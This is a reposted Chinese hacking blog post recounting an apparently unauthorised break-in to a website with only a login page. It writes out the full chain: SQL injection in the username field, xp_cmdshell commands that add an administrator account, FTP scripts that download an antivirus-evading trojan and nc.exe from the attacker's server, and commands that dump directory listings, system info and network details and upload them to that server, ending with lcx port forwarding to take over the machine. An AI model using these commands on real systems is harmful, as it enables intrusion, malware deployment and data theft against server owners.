转自3est

话说上次搞一蛋疼的网站,发现就一个登录页面,拿出wwwscan扫了一下,无果...
既然只有一个登录页面,就习惯性在用户名那里加了个',密码乱输,点了下登录,居然报错了,RP爆发,有注入。。。。
可惜并没有爆出路径,然后' and user>0--判断权限
image

dbo权限呀,就不用直接往下爆了,这个权限都懂,但是没爆出路径,咋拿shell呢...
索性就直接拿服务器吧...
';exec master..xp_cmdshell 'net user xx xx /add'--
';exec master..xp_cmdshell 'net localgroup administrators xx /add'--
直接尝试登录终端,提示无法连接,,郁闷3389连不上,执行cmd命令又无回显。。。
直接建FTP传马吧。。。。于是....
';exec master..xp_cmdshell 'echo open xxx.xxx.xxx.xxx >xiazai.txt'--
';exec master..xp_cmdshell 'echo xxx>>xiazai.txt'--
';exec master..xp_cmdshell 'echo xxx>>xiazai.txt'--
';exec master..xp_cmdshell 'get xxx.exe>>xiazai.txt'--
';exec master..xp_cmdshell 'echo bye>>xiazai.txt'--
';exec master..xp_cmdshell 'ftp -s:xiazai.txt'--
然后看了下FTP日志,发现已经成功下载了xxx.exe ,眼看成功就在眼前了。。。。
';exec master..xp_cmdshell 'xxx.exe'--
郁闷了,没上线。。可我的马是免杀的呀,郁闷了
然后又下载了个NC.EXE在上面准备反弹后来,也没成功。。。。莫非上面有很厉害的杀软?
可是又没回显,看不到执行命令的结果,自然也收集不到服务器的信息了,
眼看都陷入僵局了。。突然灵机一动,可以利用FTP来收集服务器的信息呀。。。
于是。。。。
';exec master..xp_cmdshell 'dir /s c:\>cmd.txt'--
';exec master..xp_cmdshell 'dir /s d:\>>cmd.txt'--
';exec master..xp_cmdshell 'dir /s e:\>>cmd.txt'--
';exec master..xp_cmdshell 'dir /s f:\>>cmd.txt'--
';exec master..xp_cmdshell 'dir /s g:\>>cmd.txt'--
';exec master..xp_cmdshell 'systeminfo>>cmd.txt'--
';exec master..xp_cmdshell 'tasklist>>cmd.txt'--
';exec master..xp_cmdshell 'netstat -an>>cmd.txt'--
';exec master..xp_cmdshell 'set>>cmd.txt'--
';exec master..xp_cmdshell 'ping www.baidu.com>>cmd.txt'--这条命令是想看下远控没上线是不是因为服务器DNS的问题。
';exec master..xp_cmdshell 'ipconfig/all>>cmd.txt'--
';exec master..xp_cmdshell 'echo open xxx.xxx.xxx.xxx >shangchuan.txt'--
';exec master..xp_cmdshell 'echo xxx>>shangchuan.txt'--
';exec master..xp_cmdshell 'echo xxx>>shangchuan.txt'--
';exec master..xp_cmdshell 'echo put cmd.txt>>shangchuan.txt'--
';exec master..xp_cmdshell 'echo bye>>shangchuan.txt'--
';exec master..xp_cmdshell 'ftp -s:shangchuan.txt'
将命令回显写入到cmd.txt然后上传到我ftp服务器里面,果然,ftp服务器里面多了一个cmd.txt.
难怪远控不上线,终端打不开...原来是2008的服务器,还是内网加站库分离,上面装了麦咖啡加360.。。。。我的马不支持2008所以没上线。。知道服务器的基本信息了就好办了,ftp传了个免杀的lcx上去,转发出来成功拿下服务器。

源链接

Hacking more

...